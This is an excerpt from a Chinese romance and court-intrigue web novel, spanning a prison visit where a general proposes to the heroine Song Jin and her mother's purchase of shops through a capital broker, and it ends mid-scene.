当初说亲的时候,这人也应下了一心一意的话,只不过珺珺到底还是不信,选了当初看起来金玉在外的宣平侯世子,到了如今这一步 她冲着人轻轻颔首以做招呼,便收回了目光,随手敲了一个刚才笑得最欢的人起来,继续今日的小考 而齐铮默默收起书本就离开了教室 一出门,那真是天也蓝了云也亮了空气也清醒了起来,他一直紧绷的心情总算是松了一些 当上这王爷之后,他最大的代价就是读书,那是日日读夜夜读,考完数法又文学,工程之后有史学,策法后面有礼乐…… 宋锦突然窜了过来,眨着眼眸,眉飞色舞地看着他:“嘿,看看,我是不是救你于水火之中?” 齐铮看着张扬快活的宋锦,沉重的心情散去几分,他点了点头:“走吧” 宋锦歪头:“走哪?我都还什么都没说呢,咱俩这么心有灵犀了?” 齐铮瞥了瞥一旁的宋家四兄弟,低声:“心有灵犀不是这么用的” 宋锦瞪眼:“不是吧,你才上了几天学,就开始嫌弃我了?都说最是负心读书人,果然” 齐铮眉头跳动,没让她继续说下去,拉起她的胳膊就往一边走去,等到离开了那边教室,才有些不自然地松开她的胳膊,微微蜷手 宋锦撇着嘴:“你这人真没意思” 宋行之真是服了这小祖宗了,也不看看面前的人是谁,他把人拉回来一点,冲着齐铮行礼:“臣见过岐王,小妹性子活泛,您别和她一般见识” 齐铮颔首:“无妨,习惯了” 宋锦撇嘴:“行了行了,客套来客套去的,是 朋友就带我去刑狱寺,不行的话,我还是用你的令牌进去,你自己选呗” 四兄弟:…… 他们是想捞人,不是想送人进去啊 好在齐铮习以为常,早在给出令牌的时候他就已经想到了上面会累多少斑斑劣迹,这会儿也不在意这个 他淡定道:“我带你去吧,至于宋侍郎你们,还是回家等待为好” 宋行之看着他淡定的模样,再看看宋锦那理所应当的模样,心中警惕乍起,总觉得让他们一起进去,很不放心啊 他小心道:“我们在马车中等?” 齐铮颔首:“如果你们想明日在朝堂听到御史攻讦的话” “……” 那肯定是不想的,不然他们也不至于让宋锦来了 当然,主要是他们进去的话只有硬闯,性质就不太一样了 宋行之一直以来他都觉得齐铮挺靠谱的,不然也不会把母女俩回都城的事交给他,但现在,看着齐铮那沉稳庄重的模样,他越看越觉得不太对劲 这个岐王,和他想的好像不太一样啊 但现在有求于人,宋行之也只能装作什么都不知道,温和有礼地回道:“殿下说得是,那我们便回府中等候,小妹麻烦您看顾着些” 齐铮:“宋侍郎客气” …… 齐铮有专门的车架,比谁的都好使,他和宋锦很快就上了车,马车悠悠前进 宋佳兄弟几个则原路返回 他们都没有血缘关系,长相各不相同,性子也截然不同。 宋行之年纪最大,也最是能说会道长袖善舞,几个人一起的时候,还是以他这个老大为主 马车里,宋行之晃着手中折扇,看着车内的三个弟弟,啪一下合上折扇,似笑非笑地看着他们:“我这不在一段时间,你们和岐王走得挺近啊,怎么的,这就站队了?” 面对他的质疑,宋顺之一如往日,平静地回道:“岐王几次帮助小妹,小妹和他走近点也正常” 宋安之打着哈欠,不太在意:“需要我们站队吗?人皇上就差直接下旨立太子了” 宋清之则有些嫌弃,他撇嘴:“不比你以前和恭王走得近,走那么近,老二被欺负的时候也不见他说句话,现在还不是得找岐王,老大,你这眼神得改改了” “我以前和谁关系不好?谁想到会冒出岐王这么个亲子,再说了”宋行之冷笑着直接掰断了折扇,“你以为我为什么不去找他们?这些个人啊,领一分情,以后也得还个十分,现在爹不在,都给我小心行事,都城上下都盯着宋家这块肉呢” 道理大家都懂,但是现在的情况,比他们一开始预计的也好多了 宋清之嘟囔:“这不是有小妹嘛” 不得不说,宋锦虽然靠着他们得了不少东西,但是他们也因她稳了不少 若没有她,宋家大麻烦不说,小的鸡毛蒜皮的事定然不少,一个个看似不起眼的事,慢慢凑起来能累成大山,最后一点点将其拖下去,便是皇上也说不上什么 现在有了宋锦,她张扬肆意不讲道理,没心没肺无拘无束,又有皇命在身,那些恶心人的小事情倒是出现得少了 宋行之送她回来之前就知道都城定然会被她搅和起来,却也没想到会到这个程度,想着她那张和宋商极其相似的脸,他轻轻叹息 “堂堂男儿,怎可把责任压在她的身上?你们三个这段时间的表现,怎对得起爹这些年的悉心教导?” 车马内没了声音 良久,宋顺之看着宋行之这老大的姿态,抬着眼眸,平静开口:“你问了那么多,我也问你一个问题” 宋安之和宋清之立马抬头看去,眼眸转动间,都带着凑热闹的兴奋劲 来了来了,最好打起来 他们兄弟五个,他们两最小,官职也最低,平日最说不上话了,最喜欢的就是看上面的打架 面对‘挑衅’,宋行之晃起折扇,端得游刃有余的姿态,笑:“二弟问就是了” 老二宋顺之轻声:“大哥,你找到小妹的时候到底做了什么,让她对你这般厌烦” 老大宋行之:…… 第69章 你看我如何 刑狱寺是大衍朝押审重犯的地方,这里面的待遇自然不会好到哪儿去 相比较泗安县的牢狱,这边明显更为阴暗湿冷,一块块厚重的青石累起这座监狱,狱内狱外结构复杂,里三层外三层布满了守卫 人一旦进来插翅难逃 宋锦以前只去泗安县的小牢里凑过热闹,第一次来这么大的监狱,有种土包子进城的感觉 要知道在末日,他们处理犯人可简单多了,要么当场干掉,要么发配干活,要么拿去服最危险的死役,哪儿会花功夫建设这玩意儿啊 宋锦惊奇地看着迷宫一般的牢狱,小声:“这个应该也是前朝的吧?” 据她的观察,齐铮和齐晔除了长相相似以外,更相似的,就是抠门的性子了 来都城这段时间,她见过的华贵东西不少,但是一问出处,全都是前朝皇帝搞的,据说当初新朝建立,本来是该迁都北方 毕竟齐家大本营在更北边 但奈何国库空虚,齐晔干脆就地为皇,全捡的以前的用,就是现在,他也是对着以前的玩意儿修修剪剪 他没新修过新的宫殿不说,甚至还卖出去了一些,可想他多抠门了 按照这牢狱的复杂属性,就不能是齐晔修的 让他来,相比起为一堆重犯花钱修这玩意儿,他可能更愿意让重刑犯们就地为牢狱,自己给自己修 短短的一句话间,她眼眸转动,嘴唇扬动的挤着眼睛,促狭又灵动地把小话全展现了 齐铮无力反驳,但还是勉强给自家亲爹找补:“刑狱寺是前朝皇帝的秀花园,秀字既代表秀女,也代表修理,他会吧那些从外面掳来不听话的美人扔到里面,封了窗户,不给吃食,逼她们听话” 刑狱寺墙石深厚,开着窗户还好,阴暗但是能感觉到时间流逝,一旦全部封死,在黑幽幽的空间里无声无息,只能听到自己脚步声的回想和呼吸声,再有老鼠虫子………… 一日两日 宋锦低咒:“狗皇帝,被砍掉脑袋真是便宜他了” 齐铮很是赞同,就前朝皇帝的种种事迹,他只是被砍了脑袋确实很便宜 但是 他思索了片刻,低声:“前朝皇帝,其实死因另有其事” 宋锦立马来了兴趣,脑袋凑过去,鬼鬼祟祟:“不是说被你爹一刀砍下脑袋吗?” 为了听得更清楚,她踮起了脚,伸直了脖子,梳理仔细的发髻垂到了齐铮低下的侧脸上,酥酥麻麻的,在阴冷的地牢竟有些烫人 齐铮不自然地微微侧过脸,躲开了挠人的头发,却又对上她洁白的脸颊,昏暗的光线下一切,明明灭灭,独独那双眼永远亮得惊人 他顿了顿,没再挪动,低下头压着呼吸,轻轻道:“外面是这么说的,但其实我爹砍下的是穿了黄袍打算谋取皇位的前朝首辅,真正的荒帝,最后交由宋首辅处理” 宋锦啊了一声,眼神瞄着周边牢狱,更是压低了声音:“你的意思是?” 齐铮轻轻嗯了一下:“宋首辅之母,其貌非比寻常” 宋锦嘶了一声,若是之前,听到这些八卦她只会格外好奇,但是现在仗了人的名头,再在背后说起小话,她还有些小心虚了 于是,她鬼鬼祟祟地左右看了看,又踮脚靠近了几分,脑袋就差个齐铮的贴着了,哈着声音了:“我听说,宋首辅杀了他爹?” 只要她说得够小声,就不算说人坏话 宋锦厚着脸皮,微微睁着双眼,炯炯地看着齐铮,那下巴跟着抬着,嫣红的唇瓣微张,洁白的齿牙若隐若现 齐铮突然觉得,有时候视力太好也不是一件好事情 他略显狼狈地后退一步,和她拉开距离,在她微微疑惑的目光下,不等她开口,先一步说道:“ 这件事其实也是误会” 宋锦震惊,她这些年到底听了多少谣言啊,她赶紧更近一步:“怎么个误会?” 齐铮掩着眸,轻声:“当日大军已经打到永安城,若强行进入必然要死伤无数,于是两边展开谈判。前朝派出的谈判人便是宋首辅的父亲,当时的太子少傅宋江,也是青郡府水利的纂修者” 宋锦:“泗安县的那个水利?” 齐铮点头:“宋江先生算是前朝少有的君子之辈,修水利,助百姓,劝君主,他那些年救下了不少人,在朝野极有威望” 但碰上那么一个君主,宋江再是清明再是绞尽脑汁心力交瘁,也不过延缓了一点王朝衰亡速度,只能眼睁睁看着反贼够攻上城门 而领头之人便是他亲子 恼羞成怒?痛心疾首?不,都没有,他只要满心的愧疚和不可置信 那场谈判无人知晓谈了什么,但是最后是二十岁的宋商提着他爹的人头走了出来 对于谈判来说,这是莫大的错 对于讲究天地君亲的现在来说,也是天大的逆反 这也是宋商奸臣逆贼最大的出处 一个胆敢破坏规则,又为了权力残忍杀害亲父的人,谁能说他是君子,是好人呢? 齐铮轻轻叹息:“当时的城门,便是宋江说动英国公里应外合的,一切备好之后,他也当着宋首辅的面自刎” 归根究底,也不过是天地君亲的思想罢了 当初,还是县令的宋江偶遇一灵动貌美女子,两人结为夫妻,又有了聪明过人的孩子 那委实是一段非常愉快的日子了 但皇帝□□,底下官吏为讨好升官,便悄悄掳走了他的妻子,也带走了发现不对的儿子 几年下来,自以为妻儿死于匪患的宋江一路升职,虽无奈朝政上下荒淫,但总想为百姓做点什么 一年两年,到最后各自为主,各有所恨 在看到叛军领头第一眼,宋江便知晓了那些自己不知道的真相,也明白了荒帝奸佞信任下的险恶 他平静领命,最后一次为自己的君主行事,也最后一次为自己的孩子铺平前路 忠爱不能两全,但是他尽力了 只是他料想不到的是,宋商会在他死后,不仅没有如他所愿的远离这一切,反而亲自割下他的头颅,扔到了荒帝脚下,让他便是死后,也亲眼看着昔日旧主被千刀万剐 宋锦眼前闪过千万种痛苦又恶心的折磨,她心情也有些复杂了起来,叹气:“他们被抓的时日,定然遭受不少折磨” 齐铮声音也沉重了几分,道:“当年流传岭南蛊族有长生之法,食而延年益寿,宋大人之母,便是岭南人士” 宋锦低咒:“该死” 齐铮颔首:“确实该死,而这监狱中,类似之人不在少数,他们便是千刀万剐也不为过” 说来说去,最后绕回了这一点 宋锦那本来愤怒的心瞬间被冻了起来,有种鬼故事讲到结局,突然变成精神病的无语感,突然觉得有些冷 她无语道:“你觉得我会可怜这些人?” 别说,这牢里面犯人哀嚎声阵阵,随着隙缝中呜呜风声一起,听起来确实很可怜,但她宋锦是谁啊 末日时候她见过的甚至干过的比这个瘆人的还多了去了,会觉得这不妥? 齐铮自然不觉得她一个随随便便就是断手断脚的人会觉得刑罚不妥,只不过,她刚才阴沉的模样,有些刺眼 他觉得她还是笑起来生动些好看 齐铮略过这事:“走吧,从这过去一会儿就到宋将军那儿了。宋将军自小由宋大人养大,和宋大人感情颇深,现在宋大人生死未卜,恐不愿听人背后说起这些往事” 说起这,又不得不提到他对于宋商的猜测了,他也曾思考过是否和宋锦说起这事 但思前想后,不说说起,最好提都不要提起 宋锦没想到那么多,只是看着狱中黑暗,也想起自己此番的任务了,她提着食盒的手紧了紧,小声:“那人还能吃东西吗?” 齐铮嘴角一抽:“宋将军不是主犯,只是被牵连了,父皇没这么不讲情面” 宋锦嘀咕:“那还不是把人下狱了,皇威大得很呢” 齐铮无奈:“我看你胆子也不小” 宋锦扬起了眉,伸手拍在齐铮的肩膀上,他肩膀宽阔又厚实,一上手就能感觉到起伏坚硬的肌肉 她忍不住又捏了捏,嬉皮笑脸:“这不是把你当兄弟嘛,你肯定不会去告状的对吧?” 齐铮感受着她不规矩的手,瞥着她插科打诨的模样,捏着她的手袖把她的手拎了下来,不冷不热:“那可不好说” 说着,他转身朝着前方走去,步伐平平稳稳,却迈得又大又快 宋锦站在原地,双手抱在胸前,撇着嘴嘀咕:“真是小气,皇子就是了不起咧” 郡主都不配和他称兄道弟,她高攀了 齐铮凉凉的声音传来:“还走不走?” 宋锦赶紧跟上:“走走走怎么不走” 她可是带着任务来的,这人这般小气,一会儿反悔了她回去多丢人啊 两人就这般一前一后朝着里面走去,来到一处窗口位牢房 明亮的日光照进房间,里面垫着崭新的草席,稻草一看便是今年才割出来的新稻,旁边放着个小木桌,上面摆放着茶水糕点 虽然简陋,但是五脏俱全 宋慎之穿着干净的麻布囚服,盘腿坐着稻草蒲团上,喝着茶水,一双狭长的眼眸幽深,看着还真有几分大反派的架势 他的长相就有些亦正亦邪的感觉 宋锦拎着食盒过去,蹲在地上,杵着下巴打量着这位护国将军:“你还挺适应的啊” 这人和牢房的适配感直接拉满,没有半分违和感,看这悠哉悠哉的模样,早知道她就不来了 宋慎之将茶杯轻轻放在桌面上,如鹰一般的眸子狭长而幽深,就这么死死地盯着蹲在牢前的宋锦,良久,才哑着声音 “还行,战场上随时席地而躺,风吹日晒,干粮干硬,有时候草根小虫都是上好的食物,在这里有床有被不用日晒风吹,怎么会不适应呢?” 听着,宋锦赶紧转头看向齐铮,用眼神鄙视他 你看看你看看,天理何在啊。人在外面保家卫国舍生忘死,好不容易回来,就因为一点小事给人关牢里了 万恶的皇权,小气的皇帝 齐铮:…… 宋锦又把手中精心准备的餐盒递了过去,里面准备了一只烧鹅,一壶烧酒,还有好些精致耐放的糕点 宋慎之一眼便知道是谁的杰作,但是他不太在意这些,他只是静静地看着宋锦,幽深的眸子一点点柔和了下去 他道:“你和爹长得真像” 宋锦心虚的摸摸鼻子:“是吗?就,就挺巧的” 面对这种为国为民的大将军,她也难得老实起来,胡说八道不起来 宋慎之眉眼柔和下来,那种亦正亦邪的反派感也消了下去,取而代之是一脸清正,仿若是怕吓到面前的妹妹似的,他压着声音,清和询问 “这段时日,在都城还适应吗?也是我在边疆脱不了身,不然必亲自去接你回府,老大和老四老五平日行事不太着调,若有得罪之处,你和我说,我替你收拾他们。都城小人之辈不少,若是有人欺负你也别忍住,有什么事情我们几个哥哥担着……” 他说这些话的时候语气轻柔,眼神宠溺,看起来确实一点儿都不想个征战沙场的大将军,就似邻家哥哥一般 不得不说,比起宋家其他四兄弟,他确实靠谱许多咧。也不怪人能当大将军了,看看人多会说话多周到啊 宋锦这些日子天天被叮嘱别惹事别闹事,难得有人对她说不要怕事,有事我扛着,这感觉可真不错 她被哄得心花怒放,心想着这人这么会说话,她日后每天来给他送点东西也不是不行 突然,宋慎之话音一转,问道:“小妹明年也及笄了,定了人家没?” 宋锦呃了两声,下意识瞅了旁边跟木桩子似的齐铮一眼,抓抓头发:“也不着急,吧?” 她还以为这人是想说他认识些靠谱的人要给她推荐一下呢,他语气这般好,她都不好意思直接拒绝,得委婉一点 就见他话音一转,冲着她笑了起来:“你看我如何?” 宋锦:…… 宋慎之很是认真:“我官职尚可,面貌身形也还算将就,这些年忙于战场,身边并无乱七八糟之人,以后也不会有。你是爹的亲女儿,我是他收养的养子,你我成婚不用担心乱七八糟的人和事,我会把夫人当亲娘一样看待,到 时候孩子随你姓随我姓都一样。婚后有什么事都听你的,你愿意在都城就在都城,想随我去边疆便一起去……” 这话放到以前,那不就是丈夫常年不在家,房子票子孩子全归我 别说,听着还真让人有些心动啊 齐铮站在旁边看着现场求婚画面,冷着声音打断:“该走了” 宋锦清醒过来:“哎,这么快?” 齐铮声音冷冷:“你还想拜了堂再走?” 说着,他直接转身离开,一副爱走不走的架势 宋锦挠挠脑袋,瞅向还在狱里面的宋慎之 宋慎之笑:“无事,不用担心我,此番是我没有管好下属,在这里反思是应当的。牢狱寒凉,小姑娘待着不合适,小妹快回家吧,好好想想这事,三哥是认真的” …… 宋锦活了两辈子,还是第一次被求婚 虽然在这之前,他们只见过那么一次面,话都没有说过 但是不得不说,宋慎之条件确实优异,二十三岁的大将军,朝廷年轻一辈无出其右,而且长得俊,身板结实,还会哄人,还可以异地分居…… “很心动?” 走出阴暗的牢狱,齐铮回首见到她还是一副沉思模样,瞬间压了眉眼,声音带着些凉飕飕 宋锦抬起眼睛,嬉皮笑脸反问:“你要是突然被一个美人儿投怀送抱,你能不心动?” 齐铮毫不犹豫:“自然能,我又不喜欢她,为何会心动?” 宋锦撇嘴:“和你话真没意思,你学学人家,说话多好听啊” 这不是她第一次说这话了,但却是第一次让齐铮觉得刺耳,他沉沉道:“你既觉得他有意思,便去和他说话就是” 宋锦:“你什么意思啊?说话怎么夹枪带棒的,谁招你惹你了?” 齐铮沉声,毫不迟疑:“你” 宋锦瞪大眼睛,脑瓜子回转,转来转去,她恍然大悟,然后没好气道:“你这人怎么那么小气啊,不就是说你古板老套没意思吗?多大点事啊” 齐铮冷下眉眼,深深看了她一眼:“走了” 说着他转身往外,一路一言不发,径直上了马车,这是他今日给她的第三个背影了 宋锦气呼呼地瞪着他 好啊,冷暴力她是吧?就你会吗?说得好像谁稀罕说话似的 她气势汹汹跟着上了马车,同样一句话不说,就这么瞪着大眼睛盯着他 她盯她盯她再盯 齐铮干脆合上眸子,不去看她那惹人烦躁的脸 两人就这样一路来到宋府,全程一个字未说 宋锦瞪了人一路也来了脾气,爱说不说,谁稀罕似的,车子还没停稳她就跳下马车,大步匆匆地朝着宋府跑去,路过门口的石狮子时又是一脚 本来完好的石狮表面出现一道裂痕 侍卫兼车夫的李青山再看她那仿若冒着火的背影,牙齿一酸,拉开车帘往里面看去 齐铮坐在马车角落,合着眼一动不动 这场面可熟悉了,李青山这次可不敢再问什么了,他一个快而立之年的人,管不了这些年轻人的的相处 李青山:“王爷,回王府吗?” 好不容易从国子监出来了,他应该不会想要回去 齐铮却道:“进宫” 李青山不再多问,老老实实驾着车马,朝着宫里走去 御书房里,齐晔依旧对着那一堆乱七八糟的奏折头疼,一天到晚全是些鸡毛蒜皮的小事,就这一个个还敢自称国之栋梁,他看啊,全都是些垫脚的边角料 孙公公通报:“陛下,岐王殿下来了” 齐晔瞬间眼睛不花腰也不疼了,挺直身板,整理一下头发衣物,轻咳两声:“进” 御书房大门打开,齐铮逆着光走进来,他身形高大挺拔,容貌俊美,很有男子气概 齐晔每每看着都会在心里骄傲,阿妹你看,他们的孩子,成了顶天立地的好男儿了 他眼角微微湿润,又端起父亲的姿态,询问:“今日怎么得空过来看我?怎么,莫不是小考成绩很糟糕,挨骂了?” 齐铮:“……父皇,我今年二十,不是两岁” 不会因为这点小事来告状的 齐晔:“私下无人,叫爹就好” 父皇父皇的,越听越生疏 齐铮顿了顿,还是叫不出来,于是直接省略:“我今日去了刑狱寺” 齐晔并不意外,自从那日宋慎之下狱之后,齐铮每日都会去打点一番,确保宋慎之的安全 他是个感恩图报的人 宋商将他带回来,于他有恩,他便在能力范围内、规则允许内对宋家处处关照,不像那些人,一个个这些年没少因为宋商得益,最后却只会记得他的不合规矩 齐晔神色柔和下来:“怎么?想为宋将军求情?我自然知他无辜,不过刺客是他的手下,若什么都不问,其他人有样学样,朝廷用不了多久变成筛子。不过这事一时半会查不出来,我本想着过两日就放他,你若觉得不合适,今日也无所谓” 左右人都进牢里一圈了,那些人想多嘴,有本事也进去一趟 听到这话,齐铮绷直了身子,想也不想:“孩儿觉得,等此事全部水落石出,能还宋将军一个清白之后,再放他不迟。宋将军这些年征战沙场,劳苦功高,难不成要为了几日空闲,便像宋大人那般做了事还被抹黑吗?不过是几日功夫,宋将军定然等得” 反正那人觉得刑狱寺很舒服,多待一段时间定然也无所谓 宋慎之:…… 第70章 买铺子 “阿娘,你在看什么?” 养兽堂一楼,宋锦拿着肉干逗弄着一只金黄的长毛小狸猫,扭过头就看着有些走神的牛铁兰,神情逐渐狐疑起来 今日是三日一次的看病日,虫老现在胆子暴增,一点不掩饰对她们的不欢迎,简单给牛铁兰看了病,又是一杯恶心奇怪的药下肚,就把她们赶走了,一个多余的字也不想多说 宋锦本来还想问问关于宋商亲娘的事,也没个机会,只能下楼逗逗这些猫猫狗狗解闷了 相比起她,牛铁兰明显要心神不宁一些,这左右张望的 宋锦瞥了再三,还是把手中的肉条送到猫嘴里,拈了拈手头的猫毛,撇着嘴没什么精神道 “别看了,那人不在这” 牛铁兰脸上闪过一丝不自然,然后恼道:“我看什么了看?我看你才是,一天天逗猫遛狗没个正经事” 宋锦懒散:“不是吧娘,我需要什么正经事啊?也没见谁家姑娘上班啊,不然你去给我买点田弄点山?” 宋锦说的是玩笑,牛铁兰却瞬间意识到不对了 她就说这段时日怎么那么不对劲,这破孩子一日比一日讨嫌,原来是因为没事干啊 在镇上时候,宋锦虽然日常乱窜,但是她至少还打打猎赚点钱,没事去巡逻一下自家的领地。现在来都城了,他们家产业全交出去了,她什么事都没了 谁家正经姑娘这样啊 十五六是小姑娘,不说给自己做衣服刺绣,也得学着简单算账采买东西,免得成了婚什么都不会 以前牛铁兰身体虽然不好,但是只是体弱,那时候她觉得自己能陪着宋锦,不说一辈子,至少也能等她真正的长大,再加上镇子上的东西不多,并不需要怎么费心思,她也就没怎么管她 现在不一样了,她们到了都城,宋锦又被封了郡主,以后要接触的财务也多了不少。而她以后,也并不一定能有以后陪着她 想到这儿,牛铁兰总算是抛弃那些无谓的往事,重新打起了精神,她开始仔仔细细、从头到脚打量着宋锦 她身上的衣服珠钗玉佩香囊无一不是最顶尖的材质 虽然说在乡下简单的木簪银钗也能戴,但是当日子逐渐过好了,谁又想往穷了过呢?这除了少部分被炒出来的东西,大部分还是一分钱一分货的 牛铁兰惊醒 不行,她不能继续这么伤春悲秋下去,也不能继续放纵着孩子当街溜子了。距离那什么练蛊只有十八天了,谁知道她哪天就没了 她总要给宋锦留下点什么,免得到时候这孩子一下就把钱给败了,居无定所,最后跑去以打劫为生了 没有自己的束缚,牛铁兰觉得宋锦干得出这种事的 她得做点什么才行 宋锦被她老娘打量的目光看得有些发怂,赶紧后退两步,瞬间警惕了起来:“干,干嘛?” 牛铁兰自顾自开始说了起来:“你一年郡主食邑一千,加上皇上上次赏赐的五百两,宋家给的一千两,还有你以前藏的,拿出个一万两应该没有问题” 宋锦瞪大双眼:“娘 ,你说的那些钱都在你那里” 牛铁兰点头:“所以回去你再给我拿五千两就够了” 加上她这些年攒的,凑个一万两,便是在都城也能干不少事情了 宋锦:“……娘你这是强抢啊” 牛铁兰晲她:“给不给抢?” 宋锦撇嘴:“给,给给给,我攒钱不也是给你花的嘛” 牛铁兰点头:“那给我一万” 宋锦:“……娘你就一个闺女,别给我薅秃噜了啊” 她能怎么样呢?还不是只能任薅,她就这么一个老娘,要点钱怎么了? 牛铁兰一直都知道自家闺女私房钱不少的,但是这么一谈,她确定宋锦的私房钱比她想的还更多,那就更放心了 钱放在手里也只是钱,用了就没了 牛铁兰觉得这样不行,于是她拉着宋锦就朝着外面走去,坐上马车朝着东区最大的牙行走去 之前说过,东区有着整个永安城最大的马市,还有着最为杂乱的人口职业,在这种混乱之下,牙人是很多新来居民不可避免需要接触的 房屋买卖、畜牧人口、交易谈判、征税放贷…… 牙行的功能涉及到了方方面面 虽然他们会抽取一部分收钱,但是对于很多外来的新人来说,牙行避免他们无头苍蝇一般的乱窜,也避免了他们受骗 当然,这一点,也需要仔细正经分辨官牙私牙 牛铁兰他们过来的这边就是官方承认的官牙,也是东区这头最大的牙行,这边牙行最多的还是牛马交易,一进牙行,就能看到各个牙人正忙碌穿梭 不久就是赛马季了,每年这个时候都是他们最忙的时段 不过便是这么忙碌,当宋锦她们进来的时候,还是被一眼看到 宋锦那一身青绿色的牡丹绣袍在日光下宛如瀑锻,一看就是昂贵的云锦,脑袋上那闪亮的绿宝石珠钗可不是一般人买得到的 她们一进来就有牙人乐呵呵迎了上来:“两位贵人想买点什么?” 宋锦转头看向她老娘 牛铁兰不喜欢被人盯着看,下了车就戴上帷帽,隔着薄纱打量着牙行,拿出一串铜币递过去 “让你们管事的来” 牙人乐呵:“哎好,两位跟我到里屋等吧,外面人多杂闹,莫惊扰了二位” 牛铁兰点了点头,跟着朝里面走去 外边基本都是正在交易的,他们一个个拿着东西,扯着嗓子,好似谁声音大,气势大,压过了对方,就能占便宜似的 那确实能 底层人民生活不易,能省一文两文便又是几日的柴火钱了 牛铁兰在镇子上的时候也经常听到其他人为了几文钱甚至一棵菜争吵甚至打架 她见的多,但其实没接触过,她这辈子苦过、累过、难受过,但真没穷过 在女园的时候,她作为压轴人,亏了谁都亏不了她,等到后面逃出来了,她身上也带了一堆金钗金叶,换算去够普通人活一辈子了 而她还碰到曲茂泽,在那几月她身家又涨了一些 后面带着宋锦,她买山买地和林镇长合伙做生意,一年年下来,便是去掉灵溪镇那价值好几千两的山地田地,她身上也足足凑够了五千两 这些钱便是在寸土寸金的都城都能做许多事情了,更别说加上宋锦那边的 牛铁兰转瞬的功夫就已经想好了要买些什么 而这个时候,她们已经坐在了里间喝着茶,那边管事急匆匆过来 作为东区最大的牙行,各个管事的竞争自然不小,每个当管事的人都非常有眼力劲,消息也很灵通,在普通牙人着力点放在衣服首饰的时候 他一眼就看到了宋锦腰间的挂牌:“草民拜见郡主和夫人” 宋锦轻轻拎起腰间的令牌,挑着眉头:“这也认识啊” 章管事笑:“都城贵人众多,在下若不多点眼力见,万一得罪了哪位,日子就不用过了” 宋锦勾唇:“那倒也是,娘,你要弄什么就说吧,料他也不敢哐我们” 她倒一点也不在乎被认出来,甚至巴不得被认出来,不然她带着令牌干什么?权势这种东西嘛,趁着能用就用,不然哪天倒了还要挨反噬多亏啊 章管事赶紧:“郡主说笑,我们牙行可是官牙,便是普通百姓也不敢糊弄” 宋锦:“那能便宜点吗?” 章管事苦笑:“郡主说笑,牙行就这中间凑个钱,这都明码的,你若真想便宜点,得找买家来谈。不过都城物价都摆在那儿,恐便宜不了什么。” 宋锦嘁了一声 他立马:“不过您放心,价钱上我章牙子不好说,这东西上我向您保证,绝对给您找好的。不是我吹,这都城所有牙子里,我章牙子的眼绝对能排前十” 宋锦挑眉:“第一是谁?” 章牙子笑容僵住 这位莫非是来砸招牌的吧 好在牛铁兰也在,她掀下帷帽,轻轻瞥了宋锦一眼 宋锦闭嘴 牛铁兰缓缓开口:“有铺子没?不用太大,要人多热闹一点的,就在街口,生活便利,最好有好几个挨在一起” 宋锦不适合开店,她属于那种,心情好了给人免费,心情不好直接赶人 倒是收租不错 钱放在那儿放十年也只是那点钱,买铺子的话,一万两的铺子一年能收个大几百甚至上千两银子,怎么也要划算些 再有心思些,买了仆人或者签了契,合着开店拿钱也行 牛铁兰轻声细语:“医馆,粮铺,胭脂香料,酒铺这些都成” 不等章管事说话,宋锦已经叫唤了起来:“哎哎哎,娘,不是买田地吗?” 牛铁兰晲她:“你又不会种地,买什么地?你以为都城附近的地好买?” 都城贵人多,周边的地,但凡好一点的都被买走了,剩下的要么零零散散,要么有些纷争 买来干什么? 而且这地和铺子差距又很大了 这能租铺子做生意的人,那便是一年生意再差,房租三五几两还是能拿出来,便是灾荒,也能过活 若是地,田地一年粮食产量本就不多,年年交了田税也不剩多少,那些心狠的地主不管佃户死活收三四成租子,再租赁放贷,日子自然不错 像宋锦这般,真丰顺年头还好,她不说靠地挣钱,起码能收个口粮,真普通甚至灾荒年头,她不倒贴钱就是好的了 相比之下还是商铺好 再分成好几个铺子,便是一个生意不好收不到,也不能各个都收不了 章管事作为多年牙子,自然明白这其中的弯弯角角,听着牛铁兰说完,他再看她的目光就多了些惊叹 不愧是能和那位生下孩子的人,就是厉 害 章管事连忙:“夫人说的这些自然有,不过位置好的铺子都不便宜,便是最小间也要五六百两银子,中等些的上千两,再大些的小楼,便有价无市了。夫人手头有多少预算,在下也好帮你核算核算?” 牛铁兰:“万两白银,够吗?再要一个一进小宅” 章管事惊喜:“够够够,夫人放心,在下定给您选最好的。您和郡主稍等片刻,我去拿图册过来,你先看看喜欢哪样……” “这是十里香,一个酒铺,那老板是从外地过来的,酿得一手好酒,便买了铺子自己开,结果生意不成,家里又要酿酒压货,就想着把铺子卖了。价钱倒是不贵,就是买的时候必须连带着把酒货一起买了,算下来要一千三百两” “红妆阁,百年老铺子,以前生意很好,后边这里开了武馆,生意就不行了。要是一般人换了生意就是,但老板祖传的店面又不舍得,几年下来还是撑不住,就想着卖了房子换个地方再来,要二千二百两” “丰裕楼,粮食铺子,前老板黑心,往粟米里添沙,又不晒干,慢慢的就倒了。铺子主人想着重新招租客,不过也可以卖,一千两” …… 母女俩在牙行里稍作了解一番,便亲自过来看 牛铁兰特意选的挨着的街道,几个店铺坐车绕一圈也就半个时辰,不过他们要买,仔细打量,等到弄下来了也快两个时辰了 看完,他们随便找了个茶楼坐下休息 牛铁兰思索着那些铺子 第一个酒铺名字没取对,十里香十里香,谁知道是胭脂楼还是酒楼?里面酒价格偏贵,包装却十分简陋,不上不下,不好卖是正常的 胭脂铺却是没办法,周边都是武馆,一群大男人的,换做干粮面馆布衣一类还差不多 至于粮食铺嘛,之前闹过黑心粮商,那便不能继续开粮铺,但是周边居民很多,改为胭脂铺子倒也合适就是得重新装修一下 牛铁兰有了主意,她冲着满头大汗的章管事道:“十里香、红妆阁、丰裕楼、铁匠铺、仁义堂,这五个都还行,劳烦章管事帮着约一约,价格上看看能不能再低一些,和以前租户有没有什么纠葛,没什么大问题的话麻烦你准备契,最好明后日弄好” 宋锦惊:“这么快?娘你不再想想?” 这可是她们母女俩这么多年的老底耶,就这么一天两天就花出去了? 牛铁兰淡定:“买东西宜早不宜迟,迟则生变,你就是不信你娘的眼光,也要信花了钱的牙行,好歹是宋老五名下的,还能哐我们不成?” “就是啊,夫人既然知道,怎么还找其他人呢?有什么直接和我说多好啊” 宋清之匆匆赶来 作为商人,他虽然无需上朝,但他名下的产业众多,每日也很繁忙,总要查看各个地方的账务,掌握发展情况 利润大的行当保稳,利润不高不太合适的产业直接划掉,一点点精简修正,也才铸就了他名下最大的商行 他本来是在查看一批名贵货物,确保质量没有问题再发出,就收到底下传来的消息 他家那小妹和夫人在外面买房子 那还得了啊 他火急火燎地赶过来,生怕晚一点母女俩直接搬出去了,还好,还好,只是买商铺 他擦着热汗看着他们选下的铺子普通得不能再普通了,直接道 